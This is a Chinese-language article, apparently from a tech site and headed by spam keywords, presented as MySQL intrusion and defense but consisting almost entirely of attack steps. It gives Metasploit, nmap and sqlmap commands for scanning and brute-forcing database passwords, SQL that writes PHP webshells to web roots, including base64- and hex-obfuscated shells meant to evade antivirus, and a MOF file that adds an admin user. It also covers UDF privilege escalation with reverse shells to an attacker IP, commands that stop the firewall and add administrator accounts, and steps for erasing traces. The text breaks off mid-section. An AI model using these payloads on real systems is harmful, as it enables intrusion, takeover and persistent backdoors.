成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

教你一些MySQL數(shù)據(jù)庫入侵及防御方法

數(shù)據(jù)庫 MySQL 數(shù)據(jù)庫運維
在研究 MySQL 數(shù)據(jù)庫安全之余,我們也對 MySQL 如何通過 msf、sqlmap 等來進行掃描、漏洞利用、提權(quán)、MySQL 密碼破解和獲取 webshell 等進行了詳細研究。

[[233652]]

在針對網(wǎng)站滲透中,很多都是跟 MySQL 數(shù)據(jù)庫有關(guān),各種 MySQL 注入、MySQL 提權(quán)、MySQL 數(shù)據(jù)庫 Root 賬號 webshell 獲取等,但沒有一個對 MySQL 數(shù)據(jù)庫滲透較為全面的總結(jié)。

針對這種情況我們開展了研究,但技術(shù)的進步永無止境,思想有多遠,路就可以走多遠,在研究 MySQL 數(shù)據(jù)庫安全之余,我們也對 MySQL 如何通過 msf、sqlmap 等來進行掃描、漏洞利用、提權(quán)、MySQL 密碼破解和獲取 webshell 等進行了詳細研究。

一、MySQL 信息收集

1、端口信息收集

MySQL 默認端口是 3306 端口,但也有自定義端口,針對默認端口掃描主要利用掃描軟件進行探測,推薦使用:

  • iisputter,直接填寫 3306 端口,IP 地址填寫單個或者 C 段地址;
  • Nmap 掃描 Nmap -p 3306 192.168.1.1-254。

特定目標(biāo)的滲透,可能需要對全端口進行掃描,可以使用 Nmap 對某一個 IP 地址進行全端口掃描,端口掃描軟件還有 sfind 等 DOS 下掃描的工具。

2、版本信息收集

msf 查看版本信息“auxiliary/scanner/mysql/mysql_version”模塊

以掃描主機 192.168.157.130 為例,命令為:

 

  1. use auxiliary/scanner/mysql/mysql_version  
  2. set rhosts 192.168.157.130  
  3. run 

 

MySQL 查詢版本命令:

 

  1. SELECT @@version、SELECT  version(); 

sqlmap 通過注入點掃描確認信息:

 

  1. sqlmap.py -u url --dbms mysql 

phpmyadmin 管理頁面登錄后查看 localhost->變量->服務(wù)器變量和設(shè)置中的 version 參數(shù)值。

3、數(shù)據(jù)庫管理信息收集

MySQL 管理工具有多種,例如 phpmyadmin 網(wǎng)站管理,Navicat for MySQL 以及 MySQL Front 等客戶端工具。這些工具有的會直接保存配置信息,這些信息包含數(shù)據(jù)庫服務(wù)器地址和數(shù)據(jù)庫用戶名以及密碼,通過嗅探或者破解配置文件可以獲取密碼等信息。

4、msf 信息收集模塊

MySQL 哈希值枚舉:

 

  1. use auxiliary/scanner/mysql/mysql_hashdump  
  2. set username root  
  3. set password root  
  4. run 

 

獲取相關(guān)信息:

 

  1. use auxiliary/admin/mysql/mysql_enum  
  2. set username root  
  3. set password root  
  4. run 

 

獲取數(shù)據(jù)庫版本,操作系統(tǒng)名稱,架構(gòu),數(shù)據(jù)庫目錄,數(shù)據(jù)庫用戶以及密碼哈希值。

執(zhí)行 MySQL 語句,連接成功后可以在 msf 執(zhí)行 SQL 語句,跟 sqlmap 的“--sql-shell”模塊類似

 

  1. use auxiliary/admin/mysql/mysql_sql 

將mysql_schem導(dǎo)出到本地/root/.msf4/loot/文件夾下

 

  1. use auxiliary/scanner/mysql/mysql_schemadump 

文件枚舉和目錄可寫信息枚舉

 

  1. auxiliary/scanner/mysql/mysql_file_enum  
  2. auxiliary/scanner/mysql/mysql_writable_dirs 

 

沒有測試成功過,需要定義枚舉目錄和相關(guān)文件,覺得基本沒什么用。

二、MySQL 密碼獲取

1、暴力破解

MySQL 暴力破解主要有幾種:

網(wǎng)頁在線連接破解:

可以使用 burpsuite 和 phpMyAdmin 多線程批量破解工具。

下載:

  • https://portswigger.net/burp/
  • http://pan.baidu.com/s/1c1LD6co

msf 通過命令行進行暴力破解:

msf 破解 MySQL 密碼模塊 auxiliary/scanner/mysql/mysql_login,其參數(shù)主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE參數(shù)。

對單一主機僅僅需要設(shè)置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它參數(shù)根據(jù)實際情況進行設(shè)置。

場景A:對內(nèi)網(wǎng)獲取 Root 某個口令后,擴展?jié)B透

 

  1. use auxiliary/scanner/mysql/mysql_login  
  2. set RHOSTS 192.168.157.1-254  
  3. set password root  
  4. set username root  
  5. run 

 

執(zhí)行后對 192.168.157.1-254 進行 MySQL 密碼掃描驗證。

場景B:使用密碼字典進行掃描

 

  1. use auxiliary/scanner/mysql/mysql_login  
  2. set RHOSTS 192.168.157.1-254  
  3. set pass_file /tmp/password.txt  
  4. set username root  
  5. run 

使用 nmap 掃描并破解密碼:

對某一個 IP 或者 IP 地址段進行 nmap 默認密碼暴力破解并掃描

 

  1. nmap --script=mysql-brute 192.168.157.130  
  2. nmap --script=mysql-brute 192.168.157.1-254 

 

使用 Root 賬號 Root 密碼進行 MySQL 密碼驗證并掃描獲取指定 IP 地址的端口信息以及 MySQL 數(shù)據(jù)庫相關(guān)信息

 

  1. nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 

檢查 Root 空口令

  1. nmap --script mysql-empty-password 192.168.195.130 

對 MySQL 口令進行掃描:

使用 hscan 工具對 MySQL 口令進行掃描,需要設(shè)置掃描 IP 地址段以及數(shù)據(jù)庫口令字典及用戶名字典。

2、源代碼泄露

網(wǎng)站源代碼備份文件:

一些網(wǎng)站源代碼文件中會包含數(shù)據(jù)庫連接文件,通過查看這些文件可以獲取數(shù)據(jù)庫賬號和密碼。一般常見的數(shù)據(jù)庫連接文件為 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘雞可以自定義網(wǎng)站等名稱對 zip/rar/tar/tar.gz/gz/sql 等后綴文件進行掃描。

配置備份文件:

使用 ultraedit 等編輯文件編輯數(shù)據(jù)庫配置文件后,會留下 bak 文件。

3、文件包含

本地文件包含漏洞可以包含文件,通過查看文件代碼獲取數(shù)據(jù)庫配置文件,進而讀取數(shù)據(jù)庫用戶名和密碼。

4、其它情況

有些軟件會將 IP 地址、數(shù)據(jù)庫用戶名和密碼寫進程序中,運行程序后,通過 cain 軟件進行嗅探,可以獲取數(shù)據(jù)庫密碼。另外 MySQL客戶端管理工具有的管理員會建立連接記錄,這些連接記錄保存了用戶名、密碼和連接 IP 地址或者主機名,通過配置文件或者嗅探可以獲取用戶名和密碼。

三、MySQL 獲取 webshell

1、phpmyadminroot 賬號獲取 webshell

MySQL Root 賬號通過 phpMyAdmin 獲取 webshell 的思路,主要有下面幾種方式,以第1)2)6)8)方法較佳,其它可以根據(jù)實際情況來進行。

1)直接讀取后門文件:

通過程序報錯、phpinfo 函數(shù)、程序配置表等直接獲取網(wǎng)站真實路徑,有些網(wǎng)站前期已經(jīng)被人滲透過,因此在目錄下留有后門文件通過 load_file 直接讀取。

2)直接導(dǎo)出一句話后門:

前提需要知道網(wǎng)站的真實物理路徑,例如呼求偶真實路徑 D:\work\WWW,則可以通過執(zhí)行以下查詢,來獲取一句話后門文件 cmd.php,訪問地址:http://www.somesite.com/cmd.php

 

  1. select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 

3)創(chuàng)建數(shù)據(jù)庫導(dǎo)出一句話后門:

在查詢窗口直接執(zhí)行以下代碼即可,跟2)原理類似

 

  1. CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );  
  2. INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');  
  3. SELECT `tempFROM `antian365` INTO OUTFILE'D:/www/antian365.php' 
  4. DROP TABLE IF EXISTS `antian365`; 

4)可執(zhí)行命令方式:

創(chuàng)建執(zhí)行命令形式的 Shell,但前提是對方未關(guān)閉系統(tǒng)函數(shù)。該方法導(dǎo)出成功后可以直接執(zhí)行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接執(zhí)行dos命令)

 

  1. select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php' 

另外在 Linux 下可以導(dǎo)出直接執(zhí)行命令的 Shell

 

  1. SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'
  2. http://localhost/shell.php?c=cat%20/etc/passwd

5)過殺毒軟件方式:

通過后臺或者存在上傳圖片的地方,上傳圖片 publicguide.jpg,內(nèi)容如下

 

  1. <?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?> 

然后通過圖片包含 temp.php,導(dǎo)出 webshell

 

  1. select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 

一句話后門密碼:antian365

6)直接導(dǎo)出加密 webshell:

一句話后門文件密碼:pp64mqa2x1rnw68,執(zhí)行以下查詢直接導(dǎo)出加密 webshell,D:/WEB/IPTEST/22.php,注意在實際過程需要修改 D:/WEB/IPTEST/22.php

 

  1. select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E'into dumpfile 'D:/WEB/IPTEST/22.php' 

注意:也可以使用 http://tool.lu/hexstr/ 網(wǎng)站的代碼轉(zhuǎn)換來實現(xiàn),將需要導(dǎo)出的文件代碼復(fù)制到網(wǎng)站的字符串中,通過字符串轉(zhuǎn)成十六進制,將十六進制字符串放入 unhex 函數(shù)進行查詢即可

  1. select unhex('十六進制字符串'into dumpfile 'D:/WEB/shell.php' 

7)CMS 系統(tǒng)獲取 webshell:

有些情況下無法獲取網(wǎng)站的真實路徑,則意味著無法直接導(dǎo)出一句話 webshell,可以通過 CMS 系統(tǒng)管理賬號登錄系統(tǒng)后,尋找漏洞來突破,例如 dedecms 可以通過破解管理員賬號后直接上傳文件來獲取 webshell。Discuz!的 UC_key 可以直接獲取 webshell。甚至某些系統(tǒng)可直接上傳 php 文件。下面是一些 CMS 系統(tǒng)滲透的技巧:

dedecms 系統(tǒng)的密碼有直接 md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最后1位,然后對剩余的值進行md5解密即可;

phpcms v9 版本的密碼需要加 salt 進行破解,需要選擇破解算法 md5(md5($pass).$salt) 進行破解;

Discuz!論壇帳號保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進行,其破解時是使用password:salt進行,例如 a0513df9929afc972f024fa4e586e829:399793。

8)general_log_file 獲取 webshell:

查看 genera 文件配置情況

 

  1. show global variables like "%genera%"

關(guān)閉 general_log

 

  1. set global general_log=off

通過 general_log 選項來獲取 webshell

 

  1. set global general_log='on' 
  2. SET global general_log_file='D:/phpStudy/WWW/cmd.php'

 

在查詢中執(zhí)行語句

 

  1. SELECT '<?php assert($_POST["cmd"]);?>'

Shell 為 cmd.php,一句話后門,密碼為cmd。

2、Sqlmap 注入點獲取 webshell

Sqlmap 注入點獲取 webshell 的前提是具備寫權(quán)限,一般是 Root 賬號,通過執(zhí)行命令來獲取

 

  1. sqlmap -u url--os-shell 
  2.  
  3.   echo "<?php @eval($_POST['c']);?>" >/data/www/1.php 

四、MySQL 提權(quán)

1、mof提權(quán)

webshell 上傳 mof 文件提權(quán):

MySQL Root 權(quán)限 MOF 方法提權(quán)是來自國外 Kingcope 大牛發(fā)布的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡稱 MySQL 遠程提權(quán) 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規(guī)范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:

  • 方法1:運行 MOF 文件指定為命令行參數(shù) Mofcomp.exe 文件;
  • 方法2:使用 IMofCompiler 接口和 $ CompileFile 方法;
  • 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向后兼容性與早期版本的 WMI 提供,并因為此功能可能不會提供在將來的版本后,不應(yīng)使用。注意使用 MOF 方法提權(quán)的前提是當(dāng)前 Root 帳號可以復(fù)制文件到 %SystemRoot%\System32\Wbem\MOF 目錄下,否則會失敗!

該漏洞的利用前提條件是必須具備 MySQL 的 Root 權(quán)限,在 Kingcope 公布的 0day 中公布了一個 pl 利用腳本。

 

  1. perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555 

192.168.2.100 為 MySQL 數(shù)據(jù)庫所在服務(wù)器,MySQL 口令為空,反彈到 192.168.2.150 的 5555 端口上。

生成 nullevt.mof 文件:

將以下代碼保存為nullevt.mof文件:

 

  1. #pragma namespace("\\\\.\\root\\subscription")   
  2. instance of __EventFilter as $EventFilter  
  3. {   
  4. EventNamespace = "Root\\Cimv2";   
  5. Name  = "filtP2";   
  6.     Query = "Select * From __InstanceModificationEvent "   
  7.             "Where TargetInstance Isa \"Win32_LocalTime\" "   
  8.             "And TargetInstance.Second = 5";   
  9. QueryLanguage = "WQL";   
  10. };   
  11. instance of ActiveScriptEventConsumer as $Consumer   
  12. {   
  13.     Name = "consPCSV2";   
  14. ScriptingEngine = "JScript";   
  15. ScriptText =   
  16.     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";   
  17. };   
  18. instance of __FilterToConsumerBinding  
  19. {   
  20.     Consumer   = $Consumer;   
  21.     Filter = $EventFilter;   
  22. }; 

 

通過 MySQL 查詢將文件導(dǎo)入:

執(zhí)行以下查詢語句,將上面生成的 nullevt.mof 導(dǎo)入到 c:\windows\system32\wbem\mof\ 目錄下在windows7 中默認是拒絕訪問的。導(dǎo)入后系統(tǒng)會自動運行,執(zhí)行命令

 

  1. selectload_file('C:\\RECYCLER\\nullevt.mof'into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

msf 直接 mof 提權(quán):

msf 下的 exploit/windows/mysql/mysql_mof 模塊提供了直接 mof 提權(quán),不過該漏洞成功跟操作系統(tǒng)權(quán)限和 MySQL 數(shù)據(jù)庫版本有關(guān),執(zhí)行成功后會直接反彈 Shell 到 meterpreter

 

  1. use exploit/windows/mysql/mysql_mof  
  2. set rhost 192.168.157.1 //設(shè)置需要提權(quán)的遠程主機IP地址  
  3. set rport 3306 //設(shè)置mysql的遠程端口  
  4. set password root //設(shè)置mysql數(shù)據(jù)庫root密碼  
  5. set username root //設(shè)置mysql用戶名  
  6. options //查看設(shè)置 
  7. run 0 

技巧:要是能夠通過網(wǎng)頁連接管理(phpmyadmin),則可以修改 host 為“%”并刷新權(quán)限后,則可以通過 msf 等工具遠程連接數(shù)據(jù)庫。默認 Root 等賬號不允許遠程連接,除非管理員或者數(shù)據(jù)庫用戶自己設(shè)置。

方法1:本地登入 MySQL,更改 "MySQL" 數(shù)據(jù)庫里的 "user" 表里的 "host" 項,將"localhost"改為"%"

 

  1. use mysql;  
  2.  update user set host = '%' where user = 'root' 
  3. FLUSH PRIVILEGES ;  
  4.  select host, user from user

方法2:直接授權(quán)(推薦)

從任何主機上使用 Root 用戶,密碼:youpassword(你的root密碼)連接到 MySQL 服務(wù)器

 

  1. # mysql -u root -proot  
  2. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION 
  3. FLUSH PRIVILEGES

推薦重新增加一個用戶,在實際測試過程中發(fā)現(xiàn)很多服務(wù)器使用 Root 配置了多個地址,修改后可能會影響實際系統(tǒng)的運行。在實際測試過程中因此建議新增一個用戶,授權(quán)所有權(quán)限,而不是直接更改 Root 配置。

2、udf 提權(quán)

UDF 提權(quán)是利用 MySQL 的自定義函數(shù)功能,將 MySQL 賬號轉(zhuǎn)化為系統(tǒng) system 權(quán)限,利用條件的目標(biāo)系統(tǒng)是 Windows(Win2000/XP/2003);擁有 MySQL 的某個用戶賬號,此賬號必須有對 MySQL 的 insert 和 delete 權(quán)限以創(chuàng)建和拋棄函數(shù),有 Root 賬號密碼Windows 下 UDF 提權(quán)對于 Windows2008 以下服務(wù)器比較適用,也即針對 Windows2000、Windows2003 的成功率較高。

UDF 提權(quán)條件:

  • MySQL 版本大于 5.1 版本 udf.dll 文件必須放置于 MySQL 安裝目錄下的 lib\plugin 文件夾下。
  • MySQL 版本小于 5.1 版本。udf.dll 文件在 Windows2003 下放置于 c:\windows\system32,在 Windows2000 下放置于 c:\winnt\system32。
  • 掌握的 MySQL 數(shù)據(jù)庫的賬號有對 MySQL 的 insert 和 delete 權(quán)限以創(chuàng)建和拋棄函數(shù),一般以 Root 賬號為佳,具備 Root 賬號所具備的權(quán)限的其它賬號也可以。
  • 可以將 udf.dll 寫入到相應(yīng)目錄的權(quán)限。

提權(quán)方法:

獲取數(shù)據(jù)庫版本、數(shù)據(jù)位置以及插件位置等信息

 

  1. select version();//獲取數(shù)據(jù)庫版本  
  2. select user();//獲取數(shù)據(jù)庫用戶  
  3. select @@basedir ;//獲取安裝目錄  
  4. show variables like '%plugins%';  //尋找mysql安裝路徑 

 

導(dǎo)出路徑

 

  1. C:\Winnt\udf.dll    Windows 2000  
  2. C:\Windows\udf.dll   Windows2003(有的系統(tǒng)被轉(zhuǎn)義,需要改為C:Windowsudf.dll) 

MySQL 5.1 以上版本,必須要把 udf.dll 文件放到 MySQL 安裝目錄下的 libplugin 文件夾下才能創(chuàng)建自定義函數(shù)。該目錄默認是不存在的,這就需要我們使用 webshell 找到 MySQL 的安裝目錄,并在安裝目錄下創(chuàng)建 libplugin 文件夾,然后將 udf.dll 文件導(dǎo)出到該目錄即可。

在某些情況下,我們會遇到 Can't open shared library 的情況,這時就需要我們把 udf.dll 導(dǎo)出到 lib\plugin 目錄下才可以,網(wǎng)上大牛發(fā)現(xiàn)利用 NTFS ADS 流來創(chuàng)建文件夾的方法

 

  1. select @@basedir;  //查找到mysql的目錄  
  2. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   //利用NTFS ADS創(chuàng)建lib目錄  
  3. select 'It is dll' into d 
  4. umpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創(chuàng)建plugin目錄

執(zhí)行成功以后就會 plugin 目錄,然后再進行導(dǎo)出 udf.dll 即可。

創(chuàng)建 cmdshell 函數(shù),該函數(shù)叫什么名字在后續(xù)中則使用該函數(shù)進行查詢

 

  1. create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; 

執(zhí)行命令

 

  1. select sys_eval(‘whoami’); 

一般情況下不會出現(xiàn)創(chuàng)建不成功哦。連不上 3389 可以先停止 windows 防火墻和篩選

 

  1. select sys_eval(‘net stop policyagent’);  
  2. select sys_eval(‘net stop sharedaccess’); 

 

udf.dll 下常見函數(shù)

cmdshell  執(zhí)行cmd;

downloader  下載者,到網(wǎng)上下載指定文件并保存到指定目錄;

open3389    通用開3389終端服務(wù),可指定端口(不改端口無需重啟);

backshell   反彈Shell;

ProcessView 枚舉系統(tǒng)進程;

KillProcess 終止指定進程;

regread     讀注冊表;

regwrite    寫注冊表;

shut        關(guān)機,注銷,重啟;

about       說明與幫助函數(shù);

具體用戶示例

 

  1. select cmdshell('net user iis_user 123!@#abcABC /add');  
  2. select cmdshell('net localgroup administrators iis_user /add');  
  3. select cmdshell('regedit /s d:web3389.reg');  
  4. select cmdshell('netstat -an'); 

 

清除痕跡

 

  1. drop function cmdshell;//將函數(shù)刪除 

刪除 udf.dll 文件以及其它相關(guān)入侵文件及日志。

常見錯誤

 

  1. #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement  
  2. SHOW VARIABLES LIKE "secure_file_priv" 

 

在 my.ini 或者 mysql.cnf  文件中注銷 (使用#號) 包含 secure_file_priv 的行。

 

  1. 1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要將 my.ini 中的 skip-grant-tables 選項去掉。 

webshell 下 udf 提權(quán):

通過集成 udf 提權(quán)的 webshell 輸入數(shù)據(jù)庫用戶名及密碼以及數(shù)據(jù)庫服務(wù)器地址或者IP通過連接后導(dǎo)出進行提權(quán)。

MySQL 提權(quán)綜合利用工具:

v5est0r 寫了一個 MySQL 提權(quán)綜合利用工具,詳細情況請參考其代碼共享網(wǎng)站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有:

  • 自動導(dǎo)出你的 backdoor 和 mof 文件;
  • 自動判斷 MySQL 版本,根據(jù)版本不同導(dǎo)出 UDF 的 DLL 到不同目錄,UDF 提權(quán);
  • 導(dǎo)出 LPK.dll 文件,劫持系統(tǒng)目錄提權(quán);
  • 寫啟動項提權(quán)。

UdF 自動提權(quán)

 

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 

LPK 劫持提權(quán)

 

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 

啟動項提權(quán)

 

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst 

例如通過 LOAD_FILE 來查看 MySQL 配置文件 my.ini,如果其中配置了 skip-grant-tables,這無法進行提權(quán)。

3、無法獲取 webshell 提權(quán)

連接 MySQL:

  1. mysql.exe -h ip -uroot -p  
  2. phpmyadmin  
  3. Navicat for MySQL 

 

查看數(shù)據(jù)庫版本和數(shù)據(jù)路徑:

 

  1. SELECT VERSION( );  
  2. Select @@datadir; 

 

5.1 以下版本,將 dll 導(dǎo)入到 c:/windows 或者 c:/windows/system32/

5.1 以上版本 通過以下查詢來獲取插件路徑

 

  1. SHOW VARIABLES WHERE Variable_Name LIKE "%dir" 
  2. show variables like '%plugin%' ;  
  3. select load_file('C:/phpStudy/Apache/conf/httpd.conf' 
  4. select load_file('C:/phpStudy/Apache/conf/vhosts.conf' 
  5. select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf' 
  6. select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf' 
  7. select load_file('d:/phpStudy/Apache/conf/vhosts.conf'

修改 MySQL.txt:

MySQL.txt 為 udf.dll 的二進制文件轉(zhuǎn)成十六進制代碼。

  • 先執(zhí)行導(dǎo)入 ghost 表中的內(nèi)容,修改以下代碼的末尾代碼:select backshell("YourIP",4444);
  • 導(dǎo)出文件到某個目錄

導(dǎo)出過程:

 

  1. select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';   
  2. select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';   
  3. select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';   
  4. select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';   
  5. select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'   
  6. select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';   
  7. C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd  
  8. select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');  
  9. select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll' 

 

  • 查看 FUNCTION 中是否存在 cmdshell 和 backshell,存在則刪除

 

  1. drop FUNCTION cmdshell;//刪除cmdshell  
  2. drop FUNCTION backshell;//刪除backshell 

 

  • 創(chuàng)建backshell
  1. CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //創(chuàng)建backshell 
  • 在具備獨立主機的服務(wù)器上執(zhí)行監(jiān)聽
  1. nc -vv -l -p 44444 
  • 執(zhí)行查詢

 

  1. select backshell("192.192.192.1",44444);//修改192.192.192.1為你的IP和端口 

獲取 webshell 后添加用戶命令:

注意如果不能直接執(zhí)行,則需要到 c:\windows\system32\ 下執(zhí)行

 

  1. net user antian365 Www.Antian365.Com /add   
  2. net localgroup administrators antian365 

4、Sqlmap 直連數(shù)據(jù)庫提權(quán)

Sqlmap 直接連接數(shù)據(jù)庫提權(quán),需要有寫入權(quán)限和 Root 賬號及密碼,命令如下:

  • 連接數(shù)據(jù)庫:sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
  • 選擇操作系統(tǒng)的架構(gòu),32 位操作系統(tǒng)選擇 1,64 位選擇 2
  • 自動上傳 udf 或提示 os-shell
  • 執(zhí)行 whomai 命令如果獲取系統(tǒng)權(quán)限,則表示提權(quán)成功。

Msfudf 提權(quán):

Kali 滲透測試平臺下執(zhí)行(kali下載地址https://www.kali.org/downloads/)

 

  1. msfconsole  
  2. use exploit/windows/mysql/mysql_payload  
  3. options  
  4. set rhost 192.168.2.1  
  5. set rport 3306  
  6. set username root  
  7. set password 123456  
  8. run 0或者exploit 

msf 下 udf 提權(quán)成功率并不高,跟 windows 操作系統(tǒng)版本,權(quán)限和數(shù)據(jù)庫版本有關(guān),特別是 secure-file-priv 選項,如果有該選項基本不會成功。

5、啟動項提權(quán)

創(chuàng)建表并插入 vbs 腳本到表中:

依次使用以下命令

show databases ;

 

  1. use test;  
  2. show tables;  
  3. create table a (cmd text);  
  4. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
  5. insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;  
  6. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );  
  7. select * from a; 

 

導(dǎo)出 vbs 腳本到啟動:

使用以下命令將剛才在 a 表中創(chuàng)建的 vbs 腳本導(dǎo)出到啟動選項中

 

